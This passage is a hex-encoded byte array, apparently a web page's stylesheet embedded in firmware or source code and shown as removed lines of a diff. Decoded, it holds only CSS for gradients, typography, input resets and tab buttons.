0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x69, 0x6E, 0x2D, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x76, 0x68, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x6D, 0x6F, 0x6F, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x61, 0x6E, 0x74, 0x69, 0x61, 0x6C, 0x69, 0x61, 0x73, 0x65, 0x64, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x6D, 0x6F, 0x7A, 0x2D, 0x6F, 0x73, 0x78, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x6D, 0x6F, 0x6F, 0x74, 0x68, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x67, 0x72, - 0x61, 0x79, 0x73, 0x63, 0x61, 0x6C, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x45, 0x6E, 0x68, 0x61, 0x6E, 0x63, - 0x65, 0x64, 0x20, 0x42, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x20, 0x45, 0x66, 0x66, 0x65, 0x63, 0x74, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x3A, 0x62, - 0x65, 0x66, 0x6F, 0x72, 0x65, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x27, 0x27, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x66, 0x69, 0x78, 0x65, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x6F, 0x70, - 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x31, 0x30, 0x30, 0x25, 0x3B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, 0x65, 0x20, 0x61, 0x74, 0x20, 0x32, 0x30, 0x25, 0x20, 0x32, 0x30, 0x25, 0x2C, 0x20, 0x72, 0x67, - 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, 0x33, 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x35, 0x29, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x34, 0x30, 0x25, 0x29, - 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, - 0x65, 0x20, 0x61, 0x74, 0x20, 0x38, 0x30, 0x25, 0x20, 0x38, 0x30, 0x25, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x31, 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x35, 0x29, 0x2C, 0x20, 0x74, - 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x34, 0x30, 0x25, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x61, 0x64, 0x69, 0x61, 0x6C, - 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x63, 0x69, 0x72, 0x63, 0x6C, 0x65, 0x20, 0x61, 0x74, 0x20, 0x35, 0x30, 0x25, 0x20, 0x35, 0x30, 0x25, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, 0x33, - 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x31, 0x29, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x36, 0x30, 0x25, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x70, 0x65, 0x61, 0x74, 0x69, 0x6E, 0x67, 0x2D, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x34, 0x35, 0x64, 0x65, 0x67, - 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, 0x2C, 0x20, 0x33, 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, 0x29, 0x20, 0x30, 0x70, 0x78, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x31, 0x35, 0x36, - 0x2C, 0x20, 0x33, 0x39, 0x2C, 0x20, 0x31, 0x37, 0x36, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, 0x29, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, - 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, 0x30, 0x70, 0x78, 0x29, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x72, 0x65, 0x70, 0x65, 0x61, - 0x74, 0x69, 0x6E, 0x67, 0x2D, 0x6C, 0x69, 0x6E, 0x65, 0x61, 0x72, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x28, 0x2D, 0x34, 0x35, 0x64, 0x65, 0x67, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x31, - 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, 0x29, 0x20, 0x30, 0x70, 0x78, 0x2C, 0x20, 0x72, 0x67, 0x62, 0x61, 0x28, 0x32, 0x35, 0x35, 0x2C, 0x20, 0x31, 0x30, 0x37, 0x2C, 0x20, 0x30, 0x2C, 0x20, 0x30, 0x2E, 0x30, 0x33, - 0x29, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, 0x70, 0x78, 0x2C, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x20, 0x31, 0x30, 0x70, 0x78, - 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7A, 0x2D, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x3A, 0x20, 0x2D, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x2D, 0x65, 0x76, 0x65, 0x6E, 0x74, 0x73, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x65, 0x73, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x63, - 0x6F, 0x6E, 0x74, 0x61, 0x69, 0x6E, 0x65, 0x72, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x39, 0x30, 0x30, 0x70, 0x78, - 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x32, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, - 0x3A, 0x20, 0x72, 0x65, 0x6C, 0x61, 0x74, 0x69, 0x76, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7A, 0x2D, 0x69, 0x6E, 0x64, 0x65, 0x78, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x79, 0x70, 0x6F, 0x67, 0x72, 0x61, 0x70, 0x68, 0x79, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x31, 0x2C, 0x20, 0x68, 0x32, 0x2C, 0x20, 0x68, 0x33, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x66, 0x61, 0x6D, 0x69, - 0x6C, 0x79, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, - 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, 0x72, 0x79, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, - 0x65, 0x78, 0x74, 0x2D, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x3A, 0x20, 0x63, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, - 0x32, 0x72, 0x65, 0x6D, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x77, 0x65, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x36, 0x30, 0x30, 0x3B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6C, 0x65, 0x74, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x61, 0x63, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x2D, 0x30, 0x2E, 0x30, 0x32, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0x31, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, - 0x74, 0x2D, 0x73, 0x69, 0x7A, 0x65, 0x3A, 0x20, 0x32, 0x2E, 0x35, 0x72, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, - 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x67, 0x72, 0x61, 0x64, 0x69, 0x65, 0x6E, 0x74, 0x2D, 0x31, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, - 0x2D, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6C, 0x69, 0x70, 0x3A, 0x20, 0x74, 0x65, 0x78, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, - 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x74, 0x65, 0x78, 0x74, 0x2D, 0x66, 0x69, 0x6C, 0x6C, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x70, 0x61, 0x72, 0x65, 0x6E, 0x74, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x74, 0x6F, 0x70, 0x3A, 0x20, 0x33, 0x72, 0x65, 0x6D, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x3A, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x69, 0x6E, 0x2D, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, - 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x3A, 0x3A, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x69, 0x6E, 0x6E, 0x65, 0x72, 0x2D, 0x73, 0x70, 0x69, 0x6E, 0x2D, 0x62, 0x75, 0x74, - 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2D, 0x77, 0x65, 0x62, 0x6B, 0x69, 0x74, 0x2D, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, - 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x70, 0x70, 0x65, 0x61, 0x72, 0x61, 0x6E, 0x63, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x2F, 0x2A, 0x20, 0x54, 0x61, 0x62, 0x73, 0x20, 0x53, 0x74, 0x79, 0x6C, 0x69, 0x6E, 0x67, 0x20, 0x2A, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6C, 0x61, 0x79, 0x3A, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6A, 0x75, - 0x73, 0x74, 0x69, 0x66, 0x79, 0x2D, 0x63, 0x6F, 0x6E, 0x74, 0x65, 0x6E, 0x74, 0x3A, 0x20, 0x73, 0x70, 0x61, 0x63, 0x65, 0x2D, 0x61, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x31, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, - 0x69, 0x6E, 0x2D, 0x62, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x3A, 0x20, 0x33, 0x30, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x34, - 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x7B, 0x0D, - 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x78, 0x2D, 0x77, 0x69, 0x64, 0x74, 0x68, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x66, 0x6C, 0x65, 0x78, 0x3A, 0x20, 0x31, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, - 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x62, 0x6F, 0x72, 0x64, 0x65, 0x72, 0x2D, 0x72, 0x61, 0x64, 0x69, 0x75, 0x73, 0x3A, 0x20, 0x36, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6F, 0x75, 0x74, 0x6C, - 0x69, 0x6E, 0x65, 0x3A, 0x20, 0x6E, 0x6F, 0x6E, 0x65, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x75, 0x72, 0x73, 0x6F, 0x72, 0x3A, 0x20, 0x70, 0x6F, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x3B, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x70, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x3A, 0x20, 0x31, 0x35, 0x70, 0x78, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x3A, 0x20, 0x30, 0x20, 0x32, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x66, 0x6F, 0x6E, 0x74, 0x2D, 0x73, 0x69, 0x7A, - 0x65, 0x3A, 0x20, 0x31, 0x38, 0x70, 0x78, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x3A, 0x20, 0x76, 0x61, 0x72, 0x28, 0x2D, 0x2D, 0x70, 0x72, 0x69, 0x6D, 0x61, - 0x72, 0x79, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x29, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, - 0x3A, 0x20, 0x23, 0x33, 0x31, 0x31, 0x66, 0x31, 0x33, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x74, 0x72, 0x61, 0x6E, 0x73, 0x69, 0x74, 0x69, 0x6F, 0x6E, 0x3A, 0x20, 0x62, 0x61, 0x63, 0x6B, - 0x67, 0x72, 0x6F, 0x75, 0x6E, 0x64, 0x2D, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x2C, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x30, 0x2E, 0x33, 0x73, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x66, 0x69, 0x72, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x6C, 0x65, 0x66, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, - 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x6C, 0x61, 0x73, 0x74, 0x2D, 0x63, 0x68, 0x69, 0x6C, 0x64, 0x20, 0x7B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x6D, 0x61, 0x72, 0x67, 0x69, 0x6E, 0x2D, 0x72, 0x69, 0x67, 0x68, 0x74, 0x3A, 0x20, 0x30, 0x3B, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3A, 0x68, 0x6F, 0x76, 0x65, 0x72, 0x2C, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2E, 0x74, 0x61, 0x62, 0x20, - 0x62, 0x75, 0x74, 0x74, 